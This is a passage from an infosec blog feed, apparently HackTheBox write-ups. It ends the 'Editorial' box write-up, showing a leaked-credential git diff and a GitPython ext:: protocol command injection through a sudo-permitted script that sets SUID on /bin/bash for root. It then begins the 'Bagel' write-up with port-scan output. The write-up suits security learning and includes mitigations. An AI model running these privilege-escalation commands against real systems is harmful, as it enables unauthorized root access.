&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">change&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">api&lt;/span>&lt;span class="p">):&lt;/span> &lt;span class="n">downgrading&lt;/span> &lt;span class="n">prod&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">dev&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span> &lt;span class="n">To&lt;/span> &lt;span class="n">use&lt;/span> &lt;span class="n">development&lt;/span> &lt;span class="n">environment&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">diff&lt;/span> &lt;span class="c1">--git a/app_api/app.py b/app_api/app.py&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">index&lt;/span> &lt;span class="mi">61&lt;/span>&lt;span class="n">b786f&lt;/span>&lt;span class="o">..&lt;/span>&lt;span class="mi">3373&lt;/span>&lt;span class="n">b14&lt;/span> &lt;span class="mi">100644&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">--- a/app_api/app.py&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">+++&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">app_api&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">app.py&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">@@&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">64&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">7&lt;/span> &lt;span class="o">+&lt;/span>&lt;span class="mi">64&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">7&lt;/span> &lt;span class="err">@@&lt;/span> &lt;span class="n">def&lt;/span> &lt;span class="n">index&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">@&lt;/span>&lt;span class="n">app.route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">api_route&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;/authors/message&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;GET&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">def&lt;/span> &lt;span class="n">api_mail_new_authors&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">return&lt;/span> &lt;span class="n">jsonify&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">-&lt;/span> &lt;span class="s1">&amp;#39;template_mail_message&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Welcome to the team! We are thrilled to have you on board and can&amp;#39;t wait to see the incredible content you&amp;#39;ll bring to the table.&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2">Your login credentials for our internal forum and authors site are:&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Username: prod&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Password: $PASS$&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Please be sure to change your password as soon as possible for security purposes.&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2">Don&amp;#39;t hesitate to reach out if you have any questions or ideas - we&amp;#39;re always here to support you.&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2">Best regards, &amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">api_editorial_name&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34; Team.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;template_mail_message&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Welcome to the team! We are thrilled to have you on board and can&amp;#39;t wait to see the incredible content you&amp;#39;ll bring to the table.&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2">Your login credentials for our internal forum and authors site are:&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Username: dev&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Password: $PASS$&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Please be sure to change your password as soon as possible for security purposes.&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2">Don&amp;#39;t hesitate to reach out if you have any questions or ideas - we&amp;#39;re always here to support you.&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2">Best regards, &amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">api_editorial_name&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34; Team.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">})&lt;/span> &lt;span class="o">#&lt;/span> &lt;span class="n">TODO&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">replace&lt;/span> &lt;span class="n">dev&lt;/span> &lt;span class="n">credentials&lt;/span> &lt;span class="n">when&lt;/span> &lt;span class="n">checks&lt;/span> &lt;span class="n">pass&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">#&lt;/span> &lt;span class="c1">-------------------------------&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I changed to user &lt;code>prod&lt;/code> using su,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">dev&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">editorial&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">~&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">su&lt;/span> &lt;span class="n">prod&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="privilege-escalation">Privilege Escalation
&lt;/h2>&lt;p>Now as &lt;code>prod&lt;/code> user, I checked for sudo rights and found I had one on a python file.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">prod&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">editorial&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">home&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">dev&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">sudo&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">l&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="n">sudo&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">password&lt;/span> &lt;span class="kr">for&lt;/span> &lt;span class="n">prod&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Matching&lt;/span> &lt;span class="n">Defaults&lt;/span> &lt;span class="n">entries&lt;/span> &lt;span class="kr">for&lt;/span> &lt;span class="n">prod&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="n">editorial&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">env_reset&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">mail_badpass&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">secure_path&lt;/span>&lt;span class="o">=/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="kd">local&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="kd">local&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">snap&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">use_pty&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">User&lt;/span> &lt;span class="n">prod&lt;/span> &lt;span class="n">may&lt;/span> &lt;span class="n">run&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="n">following&lt;/span> &lt;span class="n">commands&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="n">editorial&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">python3&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">opt&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">internal_apps&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">clone_changes&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">clone_prod_change.py&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The file contains a script to clone a remote repository to local device. It uses &lt;code>git&lt;/code> from the &lt;code>gitPython&lt;/code> python library.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/python3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">git&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Repo&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">chdir&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/opt/internal_apps/clone_changes&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">url_to_clone&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Repo&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">init&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">bare&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">clone_from&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">url_to_clone&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;new_changes&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">multi_options&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;-c protocol.ext.allow=always&amp;#34;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I looked if I had any write permissions on the libraries, the script, sadly no😔. So only option was to look on google for some vulnerability related to the libraries. Searching with the sentence &lt;code>git python library clone from privilege exploit&lt;/code> gives at the top snyk website with the title &lt;a class="link" href="https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858" target="_blank" rel="noopener"
>&lt;code>RCE in gitPython&lt;/code>&lt;/a> 🥳. You can see in the website, the example given is same as in the script we are allowed to execute.
The vulnerability here is that the &lt;code>multi_options&lt;/code> is configured to to allow urls with the &lt;code>ext&lt;/code> protocol which is very dangerous as it can be used to execute commands. Testing the payload from the snyk website on this script does confirm the RCE because the command got executed and &lt;code>pwned&lt;/code> file as root user was created in &lt;code>/tmp&lt;/code> folder.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">sudo&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">python3&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">opt&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">internal_apps&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">clone_changes&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">clone_prod_change.py&lt;/span> &lt;span class="s1">&amp;#39;ext::sh -c touch% /tmp/pwned&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now in our case, since we are executing it as root using sudo, any commands executed will also be with the root permissions, so we can escalate our privileges. As we have RCE(not exactly remote here), I give out the most simple thing to do in this type of case, 😊&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">sudo&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">python3&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">opt&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">internal_apps&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">clone_changes&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">clone_prod_change.py&lt;/span> &lt;span class="s1">&amp;#39;ext::sh -c chmod% +s% /bin/bash&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I just added the &lt;code>suid&lt;/code> bit to the &lt;code>/bin/bash&lt;/code> binary. What this does is, no matter who runs this, it will always run as the user who added the &lt;code>suid&lt;/code> bit. Now since, the commands were executing as root user, so the &lt;code>suid&lt;/code> bit is also set as the root user. So now running this binary, I got the root shell🎉&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/root.png"
width="1760"
height="284"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/root_hu54ee9cef79c3ea883fe1312a582d270f_82370_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/root_hu54ee9cef79c3ea883fe1312a582d270f_82370_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="619"
data-flex-basis="1487px"
>&lt;/p>
&lt;h2 id="mitigation-techniques">Mitigation Techniques
&lt;/h2>&lt;ol>
&lt;li>&lt;strong>Input Validation and Sanitization&lt;/strong>:
&lt;ul>
&lt;li>Implement strict input validation to ensure that only valid image URLs are accepted.&lt;/li>
&lt;li>Use allowlists to permit only certain trusted domains for URL inputs.&lt;/li>
&lt;li>Reject any URLs that attempt to access internal resources.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Server-Side Request Forgery (SSRF) Prevention&lt;/strong>:
&lt;ul>
&lt;li>Employ network-level protections, such as firewall rules, to prevent internal services from being accessed via SSRF.&lt;/li>
&lt;li>Use tools or libraries that can detect and block SSRF attempts.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Credential Management&lt;/strong>:
&lt;ul>
&lt;li>Ensure that credentials are stored securely and are not exposed in any accessible location, such as commit history in .git folders.&lt;/li>
&lt;li>Regularly rotate credentials and enforce strong password policies.&lt;/li>
&lt;li>Use environment variables or secrets management services to handle sensitive information.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Secure SSH Configuration&lt;/strong>:
&lt;ul>
&lt;li>Limit SSH access to necessary users and use key-based authentication instead of passwords.&lt;/li>
&lt;li>Regularly audit and update SSH configurations to follow best practices.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Sudo Configuration&lt;/strong>:
&lt;ul>
&lt;li>Minimize the number of users with sudo privileges and enforce the principle of least privilege.&lt;/li>
&lt;li>Restrict the execution of potentially dangerous scripts and commands through sudo.&lt;/li>
&lt;li>Monitor and log sudo usage to detect any unusual activities.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Secure Code Practices&lt;/strong>:
&lt;ul>
&lt;li>Ensure that scripts and applications do not accept untrusted input without proper validation.&lt;/li>
&lt;li>Review and sanitize input arguments passed to any subprocess or external command execution.&lt;/li>
&lt;li>Regularly update and patch all libraries and dependencies to mitigate known vulnerabilities.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;h2 id="conclusion">Conclusion
&lt;/h2>&lt;p>The penetration test uncovered multiple security vulnerabilities that could be exploited to gain unauthorized access and escalate privileges within the system. Key findings included an SSRF vulnerability that led to internal network exposure, improper handling of credentials, and insecure sudo configurations.
This was really a fun box. showed common usual exploits that are out in the open.&lt;/p>
&lt;h2 id="references">References
&lt;/h2>&lt;ol>
&lt;li>&lt;a class="link" href="https://caido.io/" target="_blank" rel="noopener"
>https://caido.io/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://gchq.github.io/CyberChef/" target="_blank" rel="noopener"
>https://gchq.github.io/CyberChef/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858" target="_blank" rel="noopener"
>https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858&lt;/a>&lt;/li>
&lt;/ol></description></item><item><title>Bagel</title><link>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/</link><pubDate>Sun, 30 Jun 2024 18:26:06 +0530</pubDate><guid>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/</guid><description>&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;ul>
&lt;li>&lt;strong>Machine Name:&lt;/strong> Bagel&lt;/li>
&lt;li>&lt;strong>IP Address:&lt;/strong> 10.10.11.201&lt;/li>
&lt;li>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/li>
&lt;/ul>
&lt;h2 id="information-gathering">Information Gathering
&lt;/h2>&lt;p>I started scan with &lt;a class="link" href="https://github.com/RustScan/RustScan" target="_blank" rel="noopener"
>&lt;code>rustscan&lt;/code>&lt;/a>, found port 22, 5000 and 8000 ports open.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">PORT&lt;/span> &lt;span class="n">STATE&lt;/span> &lt;span class="n">SERVICE&lt;/span> &lt;span class="n">REASON&lt;/span> &lt;span class="n">VERSION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">22&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">ssh&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">OpenSSH&lt;/span> &lt;span class="mf">8.8&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">protocol&lt;/span> &lt;span class="mf">2.0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">hostkey&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">6&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">41&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">f2&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">fe&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">d9&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">e0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">f7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">27&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">ed&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">ed&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">cc&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">68&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">c2&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ECDSA&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ecdsa&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">sha2&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">nistp256&lt;/span> &lt;span class="n">AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEwHzrBpcTXWKbxBWhc6yfWMiWfWjPmUJv2QqB&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">c2tJDuGt&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">97&lt;/span>&lt;span class="n">OvgzC&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">Zs31X&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">IW2WM6P0rtrKemiz3C5mUE67k&lt;/span>&lt;span class="o">=&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">80&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">a7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">cd&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">e7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">db&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">95&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">86&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">65&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">98&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ED25519&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ed25519&lt;/span> &lt;span class="n">AAAAC3NzaC1lZDI1NTE5AAAAINnQ9frzL5hKjBf6oUklfUhQCMFuM0EtdYJOIxUiDuFl&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">5000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">upnp&lt;/span>&lt;span class="err">?&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">fingerprint&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">strings&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">GetRequest&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">17&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTPOptions&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
